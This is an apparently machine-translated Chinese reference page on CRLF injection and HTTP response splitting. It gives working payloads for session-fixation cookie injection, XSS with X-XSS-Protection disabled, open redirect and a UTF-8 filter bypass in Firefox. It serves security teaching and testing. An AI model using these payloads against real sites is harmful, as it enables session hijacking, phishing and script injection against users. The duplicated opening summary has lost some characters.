回车换行符


文档摘要

回车换行符 CRLF 注入是一种 Web 安全漏洞,当攻击者将意外的回车符(CR)(\r)和换行符(LF)(\n)注入到应用程序中时就会出现。在 HTTP、SMTP 等网络协议中,这些字符用于表示一行的结束和下一行的开始。在 HTTP 协议中,回车-换行序列始终用于终止一行。 摘要 方法论 会话固定 跨站脚本攻击 开放重定向 过滤绕过 实验环境 参考文献 方法论 HTTP 响应拆分是一种安全漏洞,攻击者通过在响应头中注入回车符(CR)和换行符(LF)(统称为 CRLF),来操纵 HTTP 响应。这些字符在 HTTP 响应中标志着一个头字段的结束和新一行的开始。 CRLF 字符: ( , ASCII 13):将光标移动到行首。 ( , ASCII 10):将光标移动到下一行。

回车换行符

CRLF 注入是一种 Web 安全漏洞,当攻击者将意外的回车符(CR)(\r)和换行符(LF)(\n)注入到应用程序中时就会出现。在 HTTP、SMTP 等网络协议中,这些字符用于表示一行的结束和下一行的开始。在 HTTP 协议中,回车-换行序列始终用于终止一行。

摘要

方法论

HTTP 响应拆分是一种安全漏洞,攻击者通过在响应头中注入回车符(CR)和换行符(LF)(统称为 CRLF),来操纵 HTTP 响应。这些字符在 HTTP 响应中标志着一个头字段的结束和新一行的开始。

CRLF 字符

  • CR (\r, ASCII 13):将光标移动到行首。
  • LF (\n, ASCII 10):将光标移动到下一行。

通过注入 CRLF 序列,攻击者可以将响应拆分为两部分,从而有效地控制 HTTP 响应的结构。这可能导致多种安全问题,例如:

  • 跨站脚本攻击(XSS):在第二个响应中注入恶意脚本。
  • 缓存中毒:强制将错误内容存储到缓存中。
  • 头部操纵:篡改头部以误导用户或系统。

会话固定

典型的 HTTP 响应头如下所示:

HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: sessionid=abc123

如果未经清理就将用户输入 value\r\nSet-Cookie: admin=true 嵌入到头字段中:

HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: sessionid=value Set-Cookie: admin=true

现在攻击者已经设置了他们自己的 cookie。

跨站脚本攻击

除了需要以极不安全的方式处理用户会话的会话固定之外,利用 CRLF 注入最简单的方法是为页面编写一个新的主体。它可以用来创建钓鱼页面,或者触发任意 JavaScript 代码(XSS)。

请求的页面

http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E

HTTP 响应

Set-Cookie:en Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT Content-Length: 34 <html>You have been Phished</html>

在 XSS 的情况下,CRLF 注入允许注入 X-XSS-Protection 头,并将其值设置为 "0" 来禁用它。然后我们可以添加包含 JavaScript 代码的 HTML 标签。

请求的页面

http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e

HTTP 响应

HTTP/1.1 200 OK Date: Tue, 20 Dec 2016 14:34:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 22907 Connection: close X-Frame-Options: SAMEORIGIN Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT ETag: "842fe-597b-54415a5c97a80" Vary: Accept-Encoding X-UA-Compatible: IE=edge Server: NetDNA-cache/2.2 Link: https://example.com/[INJECTION STARTS HERE] Content-Length:35 X-XSS-Protection:0 23 <svg onload=alert(document.domain)> 0

开放重定向

注入 Location 头以强制对用户进行重定向。

%0d%0aLocation:%20http://myweb.com

过滤绕过

RFC 7230 指出,大多数 HTTP 头字段值仅使用 US-ASCII 字符集的一个子集。

新定义的头字段应将其字段值限制为 US-ASCII 八位字节。

Firefox 遵循该规范,在设置 cookie 时会删除任何超出范围的字符,而不是对其进行编码。

UTF-8 字符 十六进制 Unicode 被删除
%E5%98%8A \u560a %0A (\n)
%E5%98%8D \u560d %0D (\r)
%E5%98%BE \u563e %3E (>)
%E5%98%BC \u563c %3C (<)

The UTF-8 character contains 0a 在其十六进制格式的最后一部分,将被 Firefox 转换为 \n

使用 UTF-8 字符的示例载荷如下:

嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾

URL 编码版本:

%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE

实验环境

参考文献

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


作者与出处
原作者: swisskyrepo
来源:swisskyrepo
许可证:MIT
整理: 灏天文库整理
由灏天文库结构化整理,提供目录导航、全文检索与在线阅读,便于系统化学习
发布者: 作者: swisskyrepo 转发
评论区 (0)
U